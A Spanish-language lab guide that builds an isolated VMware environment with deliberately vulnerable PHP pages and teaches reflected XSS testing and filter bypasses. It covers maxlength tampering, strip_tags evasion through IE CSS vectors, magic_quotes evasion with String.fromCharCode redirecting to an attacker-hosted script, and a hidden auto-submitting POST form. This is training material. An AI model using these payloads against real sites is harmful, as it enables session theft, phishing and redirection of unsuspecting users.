Guia XSS

LABORATORIO CROSS SITE SCRIPTING
Autor del Documento: Angelus_7722
4.4 DEFINICIÓN DE TÉRMINOS
Cookies: Una cookie puede definirse como un fichero de texto que un servidor
web envía al navegador desde el instante en el que se accede al mismo.
La cookie o fichero de texto se implanta en el disco duro del ordenador,

incorporando información relativa al usuario. Una vez que el navegador finaliza
una sesión, la cookie implantada en el disco duro del ordenador cesa de funcionar.
Es importante recordar que el sitio web será capaz de recordar la información que
le concierne o la relativa a las preferencias del usuario hasta el momento en el que
la sesión del navegador finaliza (si la cookie es temporal) o hasta el instante en el
que es definitivamente eliminada del sistema.
Fuente: Adaptada de http://info.yahoo.com/privacy/es/yahoo/cookies/
12
Cross Site Scripting (XSS): Cross Site Scripting es una vulnerabilidad en
aplicaciones web que permite la inyección de código HTML y código scripting.
Esto se debe al mal tratamiento de las variables por parte de los programadores,
que en ocasiones ignoran o dan poca importancia a estas brechas significativas de
seguridad en la información.
Existe 2 tipos de ataque XSS:
Reflejado: El ataque no permite inyectar código de forma directa y es el más
común.
Persistente: Este ataque almacena el código malicioso directamente en la base
de datos afectando a cualquier usuario que visite la página vulnerada
Easyphp: En realidad habría que ser más específicos si se dice que EasyPHP no
es un sólo programa, sino que en realidad son tres en uno. Por un lado se tiene a
Apache, el servidor más popular de páginas web. Por otro lado a MySQL, la base
de datos más extendida de código libre y por otro a PHP, el lenguaje o tecnología
más extendida para realizar páginas con programación en servidor, acceso a
bases de datos, etc.
Como se decía EasyPHP es un programa que permite disponer de los tres

componentes indispensables para programar con PHP en un ordenador, con una
descarga rápida y una instalación sin ningún tipo de problemas o necesidades de
configuración adicionales como es el caso de las cookies.
Fuente: Adaptada de http://www.desarrolloweb.com/articulos/2458.php
Javascript: “Se trata de un lenguaje de programación del lado del cliente, porque
es el navegador el que soporta la carga de procesamiento. Gracias a su
compatibilidad con la mayoría de los navegadores modernos, es el lenguaje de
programación del lado del cliente más utilizado.
Con Javascript se puede crear efectos especiales en las páginas y definir

interactividades con el usuario. El navegador del cliente es el encargado de
interpretar las instrucciones Javascript y ejecutarlas para realizar estos efectos e
interactividades, de modo que el mayor recurso, y tal vez el único, con que cuenta
este lenguaje es el propio navegador.”
Fuente: http://www.desarrolloweb.com/articulos/25.php
Phishing: “Se define Phishing como la capacidad de duplicar una página web
para hacer creer al visitante que se encuentra en el sitio web original, en lugar del
falso. Normalmente, se utiliza con fines delictivos enviando SPAM e invitando
acceder a la página señuelo. El objetivo del engaño es adquirir información
13
confidencial del usuario como contraseñas, tarjetas de crédito o datos financieros
y bancarios.”
Fuente: http://www.segu-info.com.ar/malware/phishing.htm
Virtualización: “La virtualización es una tecnología probada de software que está

cambiando a gran velocidad el entorno de TI y transformando de manera drástica
los usos de la informática.
El potente hardware x86 actual fue diseñado para ejecutar un único sistema
operativo y una única aplicación. Sin embargo, la virtualización ha acabado con
estas limitaciones y ha hecho posible la ejecución simultánea de varios sistemas
operativos y varias aplicaciones en el mismo equipo físico, aumentando así el
aprovechamiento y la flexibilidad del hardware.”
Fuente: http://www.vmware.com/lasp/overview
14
6. REQUERIMIENTOS DE LOS AMBIENTES CONTROLADOS
El software requerido para la implementación del laboratorio son los siguientes.
Sistema Operativo Windows XP Service Pack 2, se utilizó la versión

Freeware,(30 días) con el fin de respetar lo estipulado en los acuerdos de
licenciamiento, por ser un producto de marca registrada..
Easyphp versión 1.8 y 2.1b, la licencia de este software es GNU General Public
License, permitiendo la instalación sin problemas, respetando Copyright (C) 1989
Free Software Foundation, Inc.
VMware Work Station version 7, Para el desarrollo del laboratorio se utilizó la

versión de evaluación, que dispone de 30 días de total funcionalidad, respetando
los acuerdos de Copyright © 1998-2010 VMware, Inc. All rights reserved,
Estación de Trabajo, las especificaciones técnicas para su buen funcionamiento,

es de al menos 40 G libres en disco y de 2 a 3 Gigas de Ram, preferiblemente con
doble procesamiento.
Si se desea utilizar las maquinas virtuales ya creadas y almacenadas en el DVD,

puede seguir los pasos del siguiente video http://labs.dragonjar.org/resumen-del-
hacklab-de-la-comunidad-realizado-en-la-ciudad-de-bucaramanga para realizar la
importación de cada una de estas maquinas virtuales al al VMware Work Station.
6.1 SERVIDOR VULNERABLE
- Lo primero que se debe hacer es crear una máquina virtual con el programa
VMWare Work Station versión 7 con un mínimo de espacio en disco duro
de 2G y 200M de RAM. Luego se procede a instalar el sistema operativo
Windows XP service pack 2. La guía para crear una máquina virtual, se
puede descargar en:
http://foro.el-hacker.com/f70/re-cuh-zine-flash-1a-edicia-n-desca-rgatela-104108/.
15
Imagen 1. Panel de Configuración Máquina Virtual
Fuente: Autor del Proyecto
- Ahora se procede a la instalación del programa Easyphp 1.8 que contiene

el servicio de APACHE, el motor de base de datos de MYSQL y el lenguaje
de programación PHP
Imagen 2. Panel de Control EasyPhp
- Dentro de la carpeta www del Easyphp se encuentra la carpeta serv, lugar

en el que se debe alojar las cinco (5) carpetas llamadas, BcoInternacional,
Cookie_Interpol, Libros_Vsi, Pag_XSS y sql, que corresponde a las páginas
con las que se realizará el laboratorio.
La ubicación exacta es C:\Archivos de programa\EasyPHP1-8\www\serv.
16
Imagen 3 Ubicación carpetas requeridas en el laboratorio
- Lo siguiente que se debe hacer es definir la dirección IP de red con la que

se va a trabajar, y para ello se debe modificar el rango DHCP utilizado por
el VMWare desde su panel de configuración.
Adicionalmente se debe asignar direcciones IP manualmente (estáticas) a
cada una de las máquinas virtuales utilizadas en el laboratorio.
Para empezar se debe dar clic en el menú inicio del Host o equipo
residente, eligiendo desplegar todos los programas para ubicar la carpeta
VMware y seleccionar la opción Virtual Network Editor.
Imagen 4. Acceso al módulo Virtual Network Editor
Se mostrará una nueva ventana en la que se ubicará el tipo de red y conexión

que se desea modificar, siendo este caso la conexión de tipo NAT y a
17
continuación se modifica la Subnet con el valor IP 192.168.195.0 y se da un clic
en DHCP Settings para configurar los rangos de dirección IP.
Imagen 5. Editor de Red del VMware
En esta ventana se debe asegurar que los rangos corresponden a la Subnet

configurada tal y como se muestra en la Imagen.
Imagen 6. Configuración DHCP
18
Para finalizar la configuración de red se debe dar Ok, Aplicar y nuevamente Ok.
Por último se debe modificar la configuración de direcciones IP dinámicas de
cada una de las máquinas virtuales por direcciones IP estáticas.
Servidor ---> 192.168.195.130
Hosting ----> 192.168.195.128
Víctima/Atacante -----> puede ser dinámica
Imagen 7. Panel de Propiedades Protocolo Internet
- Ahora se debe configurar el dominio del Windows XP para el buen

desarrollo de la práctica, mediante la modificación del archivo hosts.
Este archivo propio del sistema tiene como fin principal ser el primer recurso
para obtener los nombres de dominio, antes de buscar en servidores
externos.
La ubicación exacta es C:\WINDOWS\system32\drivers\etc
Imagen 8. Ubicación Archivo Hosts
19
En el archivo hosts se debe agregar las direcciones IP de cada una de las

máquinas virtuales involucradas en el proyecto con su respectivo domino. De esta
forma las máquinas virtuales se logran identificar como servidor y hosting, y no
por medio de la dirección IP.
Imagen 9. Configuración archivo Hosts
El siguiente paso es configurar el software Easyphp con la dirección IP de la

máquina virtual en la que se está ubicado, en este caso es la dirección
IP192.168.128.
Los archivos que debemos configurar son: Apache y PHP.
Imagen 10. Panel configuración del Easyphp
En estos archivos se debe cambiar las direcciones IP 127.0.0.1 por la dirección IP

192.168.195.130 y reemplazar el dominio localhost por el dominio Servidor, para
20
esta acción podemos utilizar la opción de reemplazar que contiene el software
notepad.
Imagen 11. Configuración del Apache (IP)
Imagen 12. Configuración del Apache (Hostname)
- Lo siguiente que se debe hacer es crear las bases de datos requeridas para
el desarrollo del laboratorio. Para crear estas bases de datos sólo debemos
entrar a la administración de la base de datos colocando en la url del
navegador http://servidor/home/ o botón derecho sobre el icono del
Easyphp y damos clic en administración y posteriormente dar clic en
GESTION BBDD
Imagen 13. Panel de Administración del Esayphp 1.8
21
El paso a seguir es crear las bases de datos por medio de la importación de los
archivos, desde la administración de MySQL.
Se escribe en “Create new database” el nombre de la Base de Datos tal y como se
ve en los archivos con extensión .sql ubicados en C:\Archivos de
programa\EasyPHP1-8\www\serv\sql,
Al final damos clic en “Create”.
Imagen 14. Crear Base de Datos
Ahora se elige la base de datos creada y se da clic en la pestaña SQL y mediante

el botón Browser elegimos el archivo que contiene la información de la base de
datos que se desea importar. Estos pasos deben ser realizados con los tres (3)
archivos existentes .sql que son interpol.sql, libro_visitas.sql y phishing.sql
Imagen 15. Importar Base de Datos desde archivo .sql
22
6.2 SERVIDOR HOSTING
- Lo primero que se debe hacer es crear una máquina virtual con el programa
VMWare Work Station versión 7 con un mínimo de espacio en disco duro
de 2G y 200M de RAM. Luego se procede a instalar el sistema operativo
Windows XP service pack 2
Imagen 16. Panel de Configuración Máquina Virtual
- Ahora se procede a la instalación del programa Easyphp 2.0b1 que

contiene el servicio de APACHE, el motor de base de datos de MYSQL y el
lenguaje de programación PHP con versiones actualizadas en comparación
a la instalada en la máquina virtual “Servidor”
Imagen 17. Panel de Control EasyPhp
- Dentro de la carpeta www del Easyphp se debe alojar las seis (6) carpetas
llamadas, Cook, libro_vsi_malware, libro_vsi_clone, Met_post, Phishing y
sql y los archivos plugin_666.exe y el script.php que corresponde a las
páginas requeridas para el buen desarrollo del laboratorio.
Ubicación: C:\Archivos de Programa\EasyPHP2.0b1\www
23
Imagen 18. Ubicación carpetas requeridas en el laboratorio
- Ahora se debe configurar el dominio el Windows XP, para el buen

desarrollo de la práctica, modificando el archivo hosts de la misma forma
como se realizó en la máquina virtual “Servidor”
Imagen 19. Ubicación Archivo Hosts
Las direcciones IP se agregan de la misma forma como se realizó en la máquina

virtual “servidor”, para poder identificar las 2 máquinas virtuales denominadas
como servidor y hosting por su nombre y no por su dirección IP.
24
Imagen 20. Configuración archivo Hosts
El siguiente paso es configurar el software Easyphp con la dirección IP de la

máquina virtual en la que se está ubicado, en este caso es la dirección
IP192.168.128.
Los archivos que debemos configurar son: Apache y PHP.
Imagen 21. Panel configuración del Easyphp
En estos archivos se debe cambiar las direcciones IP 127.0.0.1 por la dirección IP

192.168.195.128 y reemplazar el dominio localhost por el dominio hosting, para
esta acción podemos utilizar la opción de reemplazar que contiene el notepad.
25
Imagen 22. Configuración del Apache (IP)
Imagen 23. Configuración del Apache (Hostname)
- El siguiente paso es crear las bases de datos requeridas para el desarrollo

del laboratorio. Para crear estas bases de datos sólo debemos entrar a la
administración de la base de datos colocando en la url del navegador
http://hosting/home/ y posteriormente dar clic en MYSQL GESTION
Imagen 24. Panel de Administración del Esayphp 2.0b
26
Lo siguiente es crear las bases de datos por medio de la importación de los
archivos .sql desde la administración de MySQL.
En “Crear base de datos” se escribe el nombre de la Base de Datos tal y como se

ve en los archivos con extensión .sql ubicados en C:\Archivos de
programa\EasyPHP 2.0b1\www\sql.
Luego se da clic en “Crear”.
Imagen 25. Crear Base de Datos
Luego se da un clic en la pestaña Importar y mediante el botón Examinar se elige

el archivo que contiene la información de la base de datos que deseamos
importar.
Estos pasos se deben realizar con los dos (2) archivos existentes identificados
como cookiesteal.sql y phishing.sql
Imagen 26. Importar Base de Datos desde archivo .sql
27
6.3 VÍCTIMA / ATACANTE
En esta máquina virtual sólo se requiere configurar el dominio en el sistema

operativo Windows XP mediante la modificación del archivo hosts. Para ello
debemos agregar las direcciones IP involucradas en el laboratorio, con su
respectivo dominio como se muestra en la Imagen 9. Con esta configuración
podremos identificar las dos (2) máquinas virtuales denominadas como servidor y
hosting y desarrollar correctamente nuestro laboratorio.
28
7. DESARROLLO DEL LABORATORIO
7.1 COMPROBAR VULNERABILIDAD
La primera parte consiste en aplicar las distintas formas de comprobar si una

página web es vulnerable1 o no a la vulnerabilidad Cross Site Scripting, sobre una
web de prueba catalogada como nivel 1.
Para esto se debe iniciar el Easyphp y abrir el navegador con la url http://servidor/,
y posterior a esto dar un clic en link serv.
Imagen 27. Directorio Público del Servidor
Luego aparecerá una nueva ventana que despliega diferentes carpetas, entre ellas
la carpeta Pag_XSS, a la cual se debe dar un clic.
1
Vulnerabilidad: Es el factor de riesgo interno de un sistema expuesto a una amenaza, correspondiente a su
predisposición intrínseca a ser afectado o de ser susceptible a sufrir un daño.
29
Imagen 28. Carpetas Alojadas en el Servidor
En este punto se despliega otra ventana con otro grupo de carpetas, siendo la de
interés la carpeta denominada como Nivel1.
Imagen 29. Subcarpetas de Pag_XSS alojadas en el servidor
Una vez elegida la carpeta del Nivel1, se observará la primera página web (Grupo
Investigativo Delitos Informáticos) con la que se realizará las distintas pruebas.
30
Imagen 30. Página Web de la DIJIN
Esta página web contiene un formulario de ingreso a una base de datos que
puede ser vulnerable a XSS, y para ello se tiene distintas formas de comprobarlo.
Lo primero que se hará es ingresar datos erróneos en el formulario con el fin de

observar cómo se comporta la página web.
Imagen 31. Formulario de acceso a Base de Datos DIJIN
Al ingresar en el formulario de acceso un User (angelus) y un password erróneo

(1111), la página web responde mostrando un mensaje de error dentro de la
misma página web de la siguiente forma:
31
Clave acceso del usuario “angelus” es errónea
Del mensaje de error se puede destacar, que dicho mensaje incorpora el valor de
la variable de la etiqueta user (angelus) ingresado por el atacante, concluyendo
que la página web muy posiblemente permite la inyección de código debido a que
permite incluir todo lo que se escriba en la etiqueta user.
Imagen 32. Mensaje de Error de autenticación
Otra característica que se puede observar en la página web es la url, donde se

detalla el nombre de las variables usadas por el formulario y el valor que contiene
cada una de ellas.
Imagen 33. Visualización de variables en la URL método GET
32
El hecho de observar este tipo de comportamiento en la página web no quiere
decir que sea 100% vulnerable, así que para comprobar este fallo de seguridad
se debe hacer tratando de inyectar algo de código HTML como en el siguiente
ejemplo.
<h1>Angelus</h1>
Imagen 34. Inyección de etiqueta HTML <h1> desde el formulario.
El ejemplo da como resultado una página web que permite incrustar código HTML,
confirmando de esta forma que es vulnerable a ataques de Cross Site Scripting.
Ahora se puede probar con una más divertida.
<marquee>Angelus</marquee>
Imagen 35. Inyección de etiqueta HTML <marquee> desde el formulario.
Ahora con un código algo más completo que el anterior.

<marquee><p style='font-size: 60pt'>Angelus</p></marquee>
33
Imagen 36. Inyección de etiqueta HTML <p style> desde el formulario.
Ahora se puede practicar con algo sencillo de java script, que es el tipo de código
más usado y común en este tipo de ataques. Un ejemplo sería el siguiente.
<script>document.write("Libertad a la información!");</script>
Imagen 37. Inyección de javascript desde el formulario.
La siguiente línea de código es con el famosos alert de java script, que es un

método usado para mostrar un mensaje en cuadro de dialogo.
<script> alert("Libertad a la información!");</script>
34
Imagen 38. Resultado de la Inyección de Javascript.
Con las distintas pruebas realizadas anteriormente se logra confirmar que la

página web de la Policía Nacional es vulnerable a XSS, logrando inyectar código
por medio de la variable name desde la caja de texto User.
Los formularios no son la única forma que se tiene para inyectar código, también
se puede lograr desde la misma url ya que se conoce el nombre de las variables.
De esta forma se crean las conocidas url malignas con la que suelen engañar a
las víctimas.
El siguiente es un ejemplo con uno de los códigos expuestos anteriormente

Resultado Url “maligna”:

http://servidor/serv/Pag_XSS/Nivel1/?name=%3Cscript%3E+alert%28%22Libertad
+a+la+informaci%F3n%21%22%29%3B%3C%2Fscript%3E&password=&=Sign+in
#
Si se va a crear una URL “maligna”, se debe colocar ciertos caracteres en

hexadecimal para que pueda ser interpretada por el navegador tal y como se
muestra en el resultado de la URL “maligna”
Un ejemplo para convertir de ASCII a Hexadecimal con algunos caracteres sería
el siguiente:
ASCII Hexa
< 3C
> 3E
( 28
35
Existe software y páginas que ayudan con esta tarea, como es el caso de la
página http://hwagm.elhacker.net/php/sneak.php que permite realizar la
codificación de la URL “maligna”
Imagen 39. Convertidor de ASCII a Hexadecimal ambiente WEB
Ya se sabe cómo comprobar si una página web puede ser vulnerable o no al

ataque XSS, ahora se analizará el lugar donde se ubica el fragmento de código
que permite realizar el ataque y el lugar donde se encuentra el fragmento de
código vulnerable.
Código fuente página web (Grupo Investigativo Delitos Informáticos) Index.php
Hasta ahora se tiene claro que la vulnerabilidad se obtuvo por medio de un

formulario, que se encuentra en la página web encargada de capturar los datos de
la víctima, como se observa en la siguiente captura de pantalla.
Imagen 40. Formulario de acceso a Base de Datos DIJIN
36
En la siguiente captura de pantalla se puede observar el código fuente del
formulario descrito anteriormente, con una serie de fragmentos de código
importante, marcados en rojo.
Imagen 41. Fragmento código fuente index.php (formulario)
Ahora se analizarán cada uno de los fragmentos del código marcados en rojo.
En el primer fragmento se puede observar dos funciones importantes, el action y
el method.
El method= "GET", es el que envía los datos agregándolos a la dirección URL a

partir de un signo de interrogación. (ver Imagen 33)
El action=”#”, nos indica la dirección a la que se enviará la información, pero en
este caso no se indica la url debido a que la función del action la realizará el
siguiente fragmento del código php.
37
El cual se encuentra al final del form, y que contiene la función include_once(),
que incluye y evalúa el fichero especificado durante la ejecución del script, que se
encuentra en la página xss0.php
Lo siguiente que se debe identificar son los tag HTML input.

Este tag es usado para mostrar controles que permiten a los usuarios ingresar
datos en un formulario. La conducta del control depende mayormente del atributo
"type". Este atributo define el tipo de control que se mostrará.
Type=”text”
Type=”password”
Es importante conocer los nombres (name) que identifican a cada uno de los
input ya que son las variables que se enviaran por el método GET por medio de la
URL.
Código fuente página web (Grupo Investigativo Delitos Informáticos) xss0.php
El siguiente código fuente corresponde a la página xss0.php, que es la

encargada de recibir las variables enviadas por el método GET desde el
index.php.
Imagen 42. Código fuente xss0.php
38
El fragmento del código resaltado en rojo contiene la vulnerabilidad que
explotamos anteriormente, a razón de un mal tratamiento de la variable.
La función integrada de $ _GET se utiliza para recopilar los valores de un

formulario enviado con method = "GET" y como se observa no contiene un filtro
de la información que captura, permitiendo incrustar código HTML o java script.
7.2 SALTANDO FILTROS
7.2.1 Bloqueo del número máximo de caracteres (maxlength).
Escenario: Se tiene una máquina virtual denominada Servidor que aloja la página
Web del FBI que es vulnerable a Cross Site Scripting reflejado. Además se cuenta
con una Víctima ubicada en una máquina virtual denominada Víctima/Atacante
que será afectada por el link malicioso.
Obstáculo: La cantidad de caracteres máximos a introducir en el formulario está

protegido por medio del atributo maxlength.
Objetivo: Inyectar código javascript en la página web del FBI, saltando el Filtro
maxlength.
Requisitos:
 Iniciar máquina virtual Servidor, con el servicio Easyphp.
 Iniciar máquina virtual Víctima/Atacante, y abrir el navegador de Firefox
con la siguiente url http://servidor/serv/Pag_XSS/Nivel3/
En algunas páginas Web controlan la cantidad de caracteres que ingresan al

formulario con el atributo maxlength, evitando de esta forma inyectar código tal y
como se observa a continuación.
Para realizar esta prueba se utilizará la página web (FBI) ubicada en la carpeta
Nivel 3.
39
Imagen 43. Página Web del FBI
El método utilizado por el formulario no es GET como en los casos anteriores, en

esta ocasión se utilizará el método POST.
Lo anterior se debe a que el método GET, como se mencionó anteriormente, envía

las variables desde la URL facilitando de esta manera el salto del filtro del
maxlength, por esta razón usamos el método POST tal y como se observa en la
imagen 44 y 45, que complica un poco más el salto de esta restricción ya que El
método POST se refiere normalmente a la invocación de procesos que generan
datos que serán devueltos como respuesta a la petición y sus datos no se
exponen en la url.
Archivo Index.php
Imagen 44. Fragmento código fuente index.php (formulario)
40
Archivo Xss2.php
Imagen 45. Código fuente xss2.php
Ahora lo que se tratará de hacer es lograr saltar este filtro y poder enviar el código
malicioso sin ser afectado por la restricción de número de caracteres, y para esto
se utilizará cierta técnica enfocada a modificar un formulario antes de enviarse,
llamada form tampering.
Esta técnica a usar se realizará con el plugin de Firefox webdeveloper. (ver

imagen 46) desde la máquina virtual denominada como Víctima/Atacante.
Es de aclarar que esta técnica tiene sentido sólo en vulnerabilidades XSS tipo
persistente, y que su forma de protección es por medio del uso del atributo
maxlength, desde el mismo código fuente de la página web.
Imagen 46. Barra plugin Webdeveloper Firefox
Para empezar se deben ubicar en la máquina virtual Víctima/Atacante y

proceder a abrir la página web http://servidor/serv/Pag_XSS/Nivel3/ desde el
acceso directo del Mozilla firefox ubicado en el escritorio.
A continuación se constatará que la caja de texto del formulario con etiqueta
User:, no permite ingresar más de 8 caracteres.
41
Imagen 47. Formulario de acceso a Base de Datos FBI
Ahora se debe dar un clic en la pestaña Formularios de la barra webdeveloper y

elegir la opción Mostrar detalles del formulario tal y como se observa en la
siguiente captura de pantalla.
Imagen 48. Opción Mostrar detalles del formularioWebdeveloper
Una vez elegida la opción, se observará cómo los detalles son visualizados en la
mismo formulario de página web, donde se destaca el atributo maxlength=”8”.
Imagen 49. Detalles del formulario
42
Ahora se utilizará la opción de Eliminar restricción de caracteres de la barra
webdeveloper, con el fin de saltar la restricción del maxlength y poder inyectar el
script.
Imagen 50. Eliminación de restricción de caracteres
Ahora sólo queda escribir el script sin problema o restricción alguna y obtener el
resultado esperado.
<script>alert(/Angelus/);</script>
Imagen 51. Resultado de inyección en Javascript
7.2.2 Filtro Strip_Tags.
Web de la INTERPOL que es vulnerable a Cross Site Scripting reflejado. Además
se cuenta con una Víctima ubicada en una máquina virtual denominada
Víctima/Atacante que será afectada por el link malicioso.
43
Obstáculo: Las variables del formulario están protegidas con el filtro Strip_Tags
que elimina las etiquetas HTML y php.
Objetivo: Inyectar código javascript por medio de un link malicioso en la página

web de la INTERPOL, saltando el Filtro strip_tags.
Requisitos:
 Iniciar máquina virtual Víctima/Atacante, y abrir el navegador de
IExplorer con la siguiente url http://servidor/serv/Pag_XSS/Nivel2/
Esta función se encarga de eliminar de una variable todo lo que esté entre < >
evitando que se pueda ejecutar algún tipo de script por la eliminación de
etiquetas. Para el Strip_Tags usaremos la pagina web INTERPOL ubicada en la
carpeta Nivel2 de la máquina virtual Servidor, accediendo desde la máquina
virtual Servidor/Atacante desde la url http://servidor/serv/Pag_XSS/Nivel2/ con el
navegador IEplorer 6.
Imagen 52. Página Web de la INTERPOL
Ahora se intentará utilizar algunos de los scripts usados anteriormente para

comprobar si se puede explotar la vulnerabilidad XSS.
En este caso se utilizará <h1>Angelus</h1>
44
Imagen 53. Inyección de etiqueta HTML <h1> desde el formulario.
Como se puede observa en la Imagen 53, la inyección de código HTML no

funcionó debido al filtro utilizado para evitar la inyección de etiquetas.
De igual manera sucederá con el siguiente script de prueba:
Imagen 54. Inyección de javascript desde el formulario.
En este punto se concluiría que el filtro Strip_Tags no deja ninguna opción, pero
gracias a un fallo del navegador de Internet Explorer (IE) versión 6 y 7 sin parche
de seguridad, se puede saltar este tipo de filtro basado en algunos tags de hojas
de estilo en cascada (CSS), en inglés (Cascading Style Sheets), ya que se
pude incluir código javascript en algunos de estos elementos.
A continuación se realizará una prueba con el siguiente tag:

<p style="background:url('javascript:alert('XSS')')">
45
Imagen 55. Ventana de Alerta de Javascript
Como se puede observar en la imagen 55, el script funcionó correctamente.

Otro ejemplo que se puede utilizar con un tipo de tag diferente, sería el siguiente
<IMG SRC="javascript:alert('XSS');">, con el mismo resultado positivo.
Ahora se analizará la parte del código donde se encuentra ubicado el filtro y para
ello se observará el código fuente del xss1.php. ubicado en C:\Archivos de
programa\EasyPHP1-8\www\serv\Pag_XSS\Nivel2. De la máquina virtual
servidor.
Imagen 56. Código fuente archivo xss1.php
En el código se detalla como la función strip_tags protege a la variable recibida

por medio del método GET, y como el programador permite o excluye del
strip_tags el uso de los tags <b>, <p> y <img>, ignorando que estos permiten
ejecutar código javascript.
Para explotar esta vulnerabilidad se debe conocer que permite realizar el
programador y tomarlo como base para orientar el salto del filtro y obtener el
resultado deseado.
7.2.3 Magic_quotes_gpc = on.
Web de la DIJIN que es vulnerable a Cross Site Scripting reflejado. Además se
46
cuenta con una Víctima ubicada en una máquina virtual denominada
Víctima/Atacante y un servidor adicional utilizado por el Atacante ubicado en la
máquina virtual Hosting que contiene el código javascript malicioso.
Obstáculo: El Administrador configuró el PHP con la opción Magic_quotes_gpc

activa para evitar la inclusión de comillas en el formulario.
Objetivo: Inyectar código javascript en la página web de la DIJIN, saltando la

restricción de comillas del Magic_quotes_gpc.
Requisitos:

 Iniciar máquina virtual Hosting, con el servicio Easyphp
 Iniciar máquina virtual Víctima/Atacante, y abrir el navegador de
IExplorer con la siguiente url http://servidor/serv/Pag_XSS/Nivel1/
Las magic quotes activas afecta las comillas simples, comillas dobles, barras y
caracteres nulos proporcionados por el usuario, anteponiendo una barra invertida
antes de ser aprobada la secuencia de comandos en las variables $_GET,
$_POST y $_COOKIE. Esto quiere decir que si se utiliza el script <script>
alert("Libertad a la información!");</script> en la página web de la DIJIN
correspondiente al Nivel1, no se obtendrá un resultado positivo ya que el script
queda inservible.
Para realizar la prueba se debe modificar en primera instancia la configuración del

php.ini y activar las Magic quotes gpc cambiando el valor de off a on.
Para ésta acción se debe dar un clic con el botón derecho del mouse sobre el
icono del Easyphp ubicado en la parte inferior derecha de la pantalla, y elegir la
opción de configuración y luego se da clic en php.
Imagen 57. Módulo de Configuración del Easyphp
47
Una vez realizada la acción se verá un bloc de notas en el cual se debe buscar las
Magic quotes gpc y modificar su un valor de off a on.
Imagen 58. Archivo de Configuración del PHP
Este escenario está conformado por el Atacante, un servidor Hosting para alojar
nuestro script malicioso y nuestro servidor vulnerable con las magic_quotes
activas.
Una vez adecuado el ambiente, se procede a saltar este filtro usando un link que
nos dirija a un Hosting, el cual aloja el código malicioso listo para ser utilizado.
Desde la máquina virtual Víctima/Atacante se abre la página web ubicada en el
servidor http://servidor/serv/Pag_XSS/Nivel1/ y se intentará de inyectar el
siguiente script <script> alert("Libertad a la información!");</script> para
observar el resultado.
Imagen 59. Formulario de acceso a la Base de Datos del DIJIN
48
Como era de esperarse el script no dio resultado ya que se antepuso la barra
invertida antes de las comillas, dando como resultado la destrucción total de la
estructura del script.
Para dar solución a este problema se debe subir a un servidor web el script
malicioso, que en este caso la máquina virtual Hosting será la encargada de
alojar dicho script, ubicado en la url http://hosting/script.php.
A continuación se detallará el código fuente del script.php el cual se ubica en la

carpeta C:\Archivos de programa\EasyPHP 2.0b1\www de la máquina virtual
Hosting.
Imagen 60. Código Fuente del archivo script.php
Al cargarse la página web se ejecuta el código java script desplegando un

mensaje tipo flotante con el texto (Libertad a la información!) y al dar clic al
botón aceptar, se realiza un redireccionamiento a la página original de la DIJIN
con url: http://servidor/serv/pag_xss/nivel1/
El problema consiste en cómo realizar el redireccionamiento hacia el hosting sin

hacer uso de las comillas. Un script normal sería el siguiente código
<script>location.href="http://hosting/script.php";</script> el cual no va a
funcionar debido al uso de las comillas.
El método para evitar el uso de las comillas en una primera parte, es convertir los
valores decimales a código Ascii, apoyándose de la siguiente herramienta de
conversión a nivel web http://easycalculation.com/ascii-hex.php. La primera
parte de la prueba se realizará con la palabra Angelus.
49
Imagen 61. Convertidor de cadenas de texto a ASCII en ambiente Web
Ahora es necesario encontrar un método que interprete el código Ascii, que en

este caso se usará el fromCharcode, que es un método global del objeto String
que crea una cadena a partir de los códigos Unicode que se le pasen como
parámetros. Teniendo en cuenta el ejemplo anterior, el script requerido para
desplegar el mensaje Angelus sin el uso de las comillas sería el siguiente.
<script>alert(String.fromCharCode(65, 110, 103, 101, 108, 117, 115))</script>

Ahora se procede a inyectar el código en la web de la DIJIN desde la máquina
virtual Víctima/Atacante.
Imagen 62. Mensaje de Alerta de Javascript
Como se puede observar se ha saltado el filtro de las magic quotes, pero falta
acomodar el script para que nos direccione a otra web y ejecutar un código
malicioso más estructurado que requiere el uso de comillas. Convertir grandes
cadenas a código ASCII sería algo complicado, por esta razón usamos el
redireccionamiento.
Primero se debe convertir http://hosting/script.php a código Ascii.
50
Imagen 63. Convertidor de cadenas de texto a ASCII en ambiente Web
Ahora se procede a construir el script encargado de redireccionar a la víctima a la

página script.php ubicada en la máquina virtual Hosting.
<script>location.href=String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 104,
111, 115, 116, 105, 110, 103, 47, 115, 99, 114, 105, 112, 116, 46, 112, 104,
112);</script>
El resultado de la inyección sería el siguiente:
Cuando demos clic en aceptar, la web actual se redirecciona a la página original

Grupo Investigativo Delitos Informáticos (DIJIN).
Con esta técnica podemos inyectar el código que se desee sin tener problemas
con las magic quotes activas.
7.2.4 Método POST (URL maligna).
Web del FBI la cual es vulnerable a Cross Site Scripting reflejado. Además se
cuenta con una Víctima ubicada en una máquina virtual denominada
Víctima/Atacante y un servidor adicional utilizado por el Atacante ubicado en la
máquina virtual Hosting.
51
Obstáculo: El método utilizado para el envío de los parámetros del formulario es
por medio del método POST.
Objetivo: Atacar a la Víctima mediante la creación de una url maligna capaz de

inyectar código javascript en la página web del FBI.
Requisitos:

 Iniciar máquina virtual Hosting, con el servicio Easyphp
 Iniciar máquina virtual Víctima/Atacante, y abrir el navegador Mozilla
Firefox con la siguiente url http://servidor/serv/Pag_XSS/Nivel3/
La mayoría de los ataques tratados en este manual se basan en el método HTTP

GET, ya que los parámetros GET van en la URL y son fáciles de manipular, caso
contrario sucede con el método POST debido a que no se puede armar la URL
“maligna” debido a que los datos de las variables son enviados en el cuerpo del
formulario y no están expuestos en la URL, razón por la que se requiere de un
formulario adicional.
Para usar un formulario en un ataque XSS no persistente, se utilizará una página

intermedia.
La excepción existe cuando tratamos la vulnerabilidad XSS tipo persistente, ya

que el script se aloja directamente en la base de datos del servidor y no se
requiere el envío de una URL “maligna”.
Ahora se analizará el archivo Met_post.html

Nombre archivo: Met_post.html
Máquina Virtual: Hosting
Ubicación:
C:\Archivos de programa\EasyPHP 2.0b1\www\Met_post\Met_post.html
Imagen 65. Código fuente archivo Met_post.html
52
En la imagen se puede observar:
7 En la linea 3 se detalla las propiedades del formulario donde se destaca el

“ACTION” quien direcciona a la página web vulnerable por medio del método
POST.
8 En la linea 4 se observa una entrada al formulario que contiene el mismo
nombre que el “INPUT” de la página web vulnerable (“name”), con la
diferencia que es del tipo “HIDDEN” de tal manera que no sea visible.
También contiene el atributo “VALUE” el cual cargará el script “malicioso”
en la variable “name” y lo enviará a la página web vulnerable.
9 En la linea 7 se observa el script encargado de hacer el envío automático por
medio de la función “setTimeout”, donde se indica que realice un submit
luego de 1 milisegundo de cargada la página.
